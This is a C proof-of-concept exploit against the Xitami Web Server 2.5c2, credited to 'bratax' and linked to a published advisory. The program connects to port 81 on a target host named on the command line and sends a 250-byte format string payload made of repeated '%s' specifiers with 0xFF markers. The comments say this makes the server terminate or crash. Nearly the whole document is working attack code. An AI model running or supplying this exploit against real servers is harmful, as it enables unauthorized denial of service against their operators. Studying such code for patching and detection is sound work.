|
/** * * PoC exploit for Xitami Web Server v2.5c2 LRWP processing format string bug * Advisory is available at: http://www.bratax.be/advisories/b013.html * (multiple vulnerabilities! check it out!) * * @author: bratax * @url: http://www.bratax.be/ * @email: bratax@gmail.com * * Thanks to BuzzDee for learning me how to use reverse code engineering to * find bugs & thanks to DiabloHorn as well ;-) * Greetz to NR! * **/
#include <stdio.h> #include <string.h> #include <winsock2.h>
#pragma comment(lib, "ws2_32.lib") #define PORT 81 // target port
int main(int argc, char *argv[]){
int sockfd; struct hostent *he; struct sockaddr_in their_addr; WSADATA wsaData; char formatstring[250];
if (argc != 2){ printf("\nXitami Web Server 2.5c2\n" ); printf("Format String PoC by bratax - http://www.bratax.be/\n\n"); printf("[+] tested on WinXP Pro SP2 & Vista\n"); printf("[+] usage: %s <hostname>\n\n", argv[0]); return -1; }
if (WSAStartup(MAKEWORD(1, 1), &wsaData) != 0) { fprintf(stderr, "WSAStartup failed.\n"); return -1; }
if ((he=gethostbyname(argv[1])) == NULL){ // get the host info perror("gethoscattbyname"); return -1; }
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1){ perror("socket"); return -1; }
their_addr.sin_family = AF_INET; // host byte order their_addr.sin_port = htons(PORT); // short, network byte order their_addr.sin_addr = *((struct in_addr *)he->h_addr); memset(&(their_addr.sin_zero), '\0', 8); // zero the rest of the struct
if (connect(sockfd, (struct sockaddr *)&their_addr,sizeof(struct sockaddr)) == -1){ printf("[-] Connect failed.\n"); closesocket(sockfd); return -1; }
printf("[+] Server is listening...\n");
Sleep(1000);
/* setup format string request: %s*100 + \xFF + somestring + \xFF (program termination) or: %n + \xFF + somestring + \xFF (program crash) */
memset(formatstring,'\x41', sizeof(formatstring)); for (int i = 0; i<200; i+=2){ memcpy(formatstring+i, "%s", 2); } memcpy(formatstring+200, "\xFF", 1); memcpy(formatstring+249, "\xFF", 1);
printf("[+] Sending format string request..."); Sleep(2000);
if (send(sockfd,formatstring,sizeof(formatstring),0) == -1) { Sleep(2000); printf("failed! Exiting...\n"); closesocket(sockfd); WSACleanup(); return -1; }
Sleep(2000); closesocket(sockfd); printf("done.\n");
return 0; }
|
|
|